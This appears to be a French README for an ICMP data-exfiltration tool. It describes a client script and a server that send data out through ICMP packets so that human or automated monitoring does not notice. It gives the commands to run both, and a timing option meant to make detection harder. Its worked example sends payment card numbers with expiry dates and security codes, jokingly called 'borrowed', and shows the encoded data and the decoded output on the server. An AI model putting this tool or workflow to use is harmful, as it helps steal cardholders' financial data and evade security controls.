
Exfiltration de données avec ICMP
ICMP Exfil vous permet de transmettre des données via des paquets ICMP valides. Vous utilisez le script client pour passer les données que vous souhaitez exfiltrer, puis sur l'appareil vers lequel vous transmettez, vous exécutez le serveur. Quiconque surveille - humain ou système de sécurité - ne verra que des paquets ICMP valides, il n'y a rien de malveillant dans la structure des paquets. Vos données ne sont pas non plus cachées à l'intérieur des paquets ICMP, donc regarder le paquet ne vous dit pas ce qui a été exfiltré.

Martino Jones, martinojones.com.
Pour l'instant, la seule chose que j'ai ajoutée est le support des caractères ASCII. Vous pourrez exfiltrer tout ce qui peut être représenté en caractères ASCII (par exemple, lettres et chiffres). Par exemple : vous avez emprunté de chouettes numéros à 16 chiffres, vous utiliserez le script client pour passer ces numéros à votre serveur en faisant ./ping.py --ascii "4111111111111111".
Vous avez deux options pour définir le serveur de destination. Vous pouvez soit utiliser l'option --ip, soit définir l'IP par défaut dans le script appelé ipToPing.
Si vous voulez être un peu plus patient et rendre plus difficile la détection de l'exfiltration de données, vous pouvez utiliser --wait pour spécifier le temps minimum + le temps qui doit s'écouler pour le transfert des données. C'est encore en cours de développement... donc vous devrez faire cette conversion vous-même, mais cela ne devrait pas me prendre longtemps à ajouter... cela n'a pas trop d'importance puisque la plupart des gens et des systèmes de sécurité ne détectent même pas cela pour l'instant.
Si vous souhaitez voir les pings en cours, vous pouvez utiliser l'option --show.
Quand vous voulez démarrer le serveur, il suffit de faire sudo python3 server.py. Vous n'avez besoin de rien faire d'autre. Quand vous avez terminé, il suffit de faire Control+C. Actuellement, le serveur nécessite du travail, il doit mapper les entrées en fonction de l'expéditeur des données, pour l'instant je ne l'ai testé qu'avec un seul client envoyant des pings au serveur, cela doit bien sûr être ajusté. Les bases sont déjà là, il faut juste finaliser la remise à zéro.
J'ai trouvé une base de données remplie de ces chouettes numéros à 16 chiffres, je dois les sauvegarder pour des recherches ultérieures, donc je les enregistre dans un fichier appelé file :
Commande :./ping.py --ip 1.2.3.4 --asciiFile file
Contenu du fichier : 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
Données encodées : ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
Serveur :
Calculating offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
Si vous souhaitez aider, il y a un certain nombre de choses que je dois encore ajouter :